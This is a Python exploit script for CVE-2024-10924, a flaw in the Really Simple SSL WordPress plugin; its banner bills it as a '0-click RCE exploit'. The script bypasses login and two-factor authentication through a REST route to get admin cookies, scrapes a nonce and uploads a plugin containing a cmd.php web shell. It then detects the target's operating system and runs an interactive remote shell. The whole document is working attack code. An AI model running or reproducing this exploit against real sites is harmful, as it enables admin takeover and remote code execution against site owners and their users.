import requests
from bs4 import BeautifulSoup
import argparse
import os
import time

# Parseo de argumentos
parser = argparse.ArgumentParser(description="Target for bypass and RCE")
parser.add_argument(
    "--target",
    type=str,
    required=True,
    help="The base URL of the WordPress lab (e.g., http://localhost/wordpress_lab)."
)
parser.add_argument("--plugin-rce", required=True, help="Path to the RCE plugin zip file.")
args = parser.parse_args()

# Banner ASCII
def banner():
    banner = r"""
   _______    ________    ___   ____ ___  __ __       _______  ____ ___  __ __
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      <  / __ \/ __ \__ \/ // /
 / /    | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ /_/ / // /_
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ / /_/ /\__, / __/__  __/
\____/  |___/_____/    /____/\____/____/ /_/       /_/\____//____/____/ /_/   
                                                                                                                                                                                                                             
    0-click RCE Exploit for CVE-2024-10924 (4 millions of WP sites)
                coded by @JoshuaProvoste (jp / kw0)
"""
    print(banner)
banner()

def print_message(message, icon):
    """Print messages in the CLI with formatted icons."""
    print(f"{icon} {message}")
    time.sleep(1.5)  # Delay entre mensajes importantes

# Validar archivo ZIP
if not os.path.isfile(args.plugin_rce):
    print(f"[-] Plugin file {args.plugin_rce} does not exist.")
    exit()

# Headers para la solicitud inicial que obtendrá las cookies
initial_headers = {
    "Host": "localhost",
    "Content-Type": "application/json",
    "Connection": "keep-alive",
}

# Datos del body para la solicitud inicial
initial_data = {
    "user_id": 1,
    "login_nonce": "111111111",
    "redirect_to": "/wp-admin/",
}

# Crear una sesión de requests
session = requests.Session()

# Paso 1: Obtener cookies desde el HTTP response
try:
    print("[+] Bypassing authentication and 2FA...")
    initial_response = session.post(
        f"{args.target}/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding",
        headers=initial_headers,
        json=initial_data,
    )

    if initial_response.status_code != 200:
        print(f"[-] Failed to obtain cookies. Status code: {initial_response.status_code}")
        exit()

    # Extraer cookies necesarias de las cabeceras
    set_cookie_headers = initial_response.headers.get("Set-Cookie", "")
    if not set_cookie_headers:
        print("[-] No Set-Cookie headers found in the response.")
        exit()

    # Procesar las cookies para extraer las necesarias
    extracted_cookies = {}
    for cookie_entry in set_cookie_headers.split(","):
        if "wordpress_" in cookie_entry or "wordpress_logged_in" in cookie_entry:
            name_value = cookie_entry.split(";")[0]  # Tomar solo la parte "name=value"
            if "=" in name_value:  # Asegurarse de que sea una cookie válida
                name, value = name_value.split("=")
                extracted_cookies[name.strip()] = value.strip()

    if not extracted_cookies:
        print("[-] No valid cookies found in the response.")
        exit()

    print("[+] Cookies successfully obtained for admin user...")
    print(extracted_cookies)

except requests.RequestException as e:
    print(f"[!] Error during initial request: {e}")
    exit()

# Paso 2: Usar las cookies para obtener el _wpnonce
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
}

try:
    print("[+] Accessing plugin installation page to retrieve _wpnonce...")
    response = session.get(
        f"{args.target}/wp-admin/plugin-install.php", headers=headers, cookies=extracted_cookies
    )

    # Verificar si la solicitud fue exitosa
    if response.status_code != 200:
        print(f"[-] Failed to access plugin installation page. Status code: {response.status_code}")
        exit()

    # Analizar el contenido HTML para extraer el _wpnonce
    soup = BeautifulSoup(response.text, "html.parser")
    nonce_field = soup.find("input", {"id": "_wpnonce"})
    if nonce_field and "value" in nonce_field.attrs:
        wpnonce = nonce_field["value"]
        print(f"[+] Retrieved _wpnonce: {wpnonce}")
    else:
        print("[-] Could not find _wpnonce on the page.")
        exit()
except requests.RequestException as e:
    print(f"[!] Error during plugin installation page request: {e}")
    exit()

# Paso 3: Cargar el plugin ZIP usando las cookies y el _wpnonce
plugin_upload_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Referer": f"{args.target}/wp-admin/plugin-install.php",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
}

# Construir datos de la solicitud de carga
plugin_upload_data = {
    "_wpnonce": wpnonce,
    "_wp_http_referer": "/wp-admin/plugin-install.php",
}

plugin_file = {
    "pluginzip": (os.path.basename(args.plugin_rce), open(args.plugin_rce, "rb"), "application/x-zip-compressed"),
}

try:
    print("[+] Uploading plugin...")
    plugin_upload_response = session.post(
        f"{args.target}/wp-admin/update.php?action=upload-plugin",
        headers=plugin_upload_headers,
        cookies=extracted_cookies,
        data=plugin_upload_data,
        files=plugin_file,
    )

    if plugin_upload_response.status_code == 200:
        print("[+] Plugin uploaded successfully!")
    else:
        print(f"[-] Plugin upload failed. Status code: {plugin_upload_response.status_code}")
except requests.RequestException as e:
    print(f"[!] Error during plugin upload: {e}")
    exit()

try:
    # Validar la existencia del payload cmd.php
    payload_url = f"{args.target}/wp-content/plugins/rce-plugin/cmd.php"
    print("[+] Verifying payload...")
    response = session.get(payload_url)
    if response.status_code == 200:
        print(f"[+] Payload is accessible: {payload_url}")
    else:
        print("[-] Payload not found.")
except requests.RequestException as e:
    print(f"[-] Error while verifying payload: {e}")

print_message("Detecting operating system from the target...", "[+]")
try:
    os_response = requests.get(payload_url).text.strip().lower()
    if "windows" in os_response:
        print_message("Detected OS: Windows (only Windows commands can be executed).", "[+]")
    elif "linux" in os_response:
        print_message("Detected OS: Linux (only Linux commands can be executed).", "[+]")
    else:
        print_message("Failed to detect operating system. Defaulting to generic commands.", "[-]")
except requests.exceptions.RequestException as e:
    print_message(f"Failed to detect operating system: {e}", "[-]")
    exit(1)

# Iniciar shell interactiva
print_message("Entering interactive shell mode...\n", "[+]")
print("Type 'exit' or 'Ctrl+C' to leave.\n")

try:
    while True:
        command = input("shell> ")
        if command.lower() == "exit":
            print_message("Exiting interactive shell.", "[+]")
            break

        # Enviar el comando al payload
        try:
            get_response = requests.get(payload_url, params={"cmd": command})
            if get_response.status_code == 200:
                if get_response.text.strip():
                    print(get_response.text.strip())  # Mostrar la salida del comando si no está vacía
                else:
                    print_message("Command executed, but no output was returned.", "[+]")
            else:
                print_message(f"Command execution failed. HTTP Status: {get_response.status_code}", "[-]")
        except requests.exceptions.RequestException as e:
            print_message(f"Error during command execution: {e}", "[-]")
except KeyboardInterrupt:
    print("\nKeyboard interrupt detected. Exiting interactive shell.")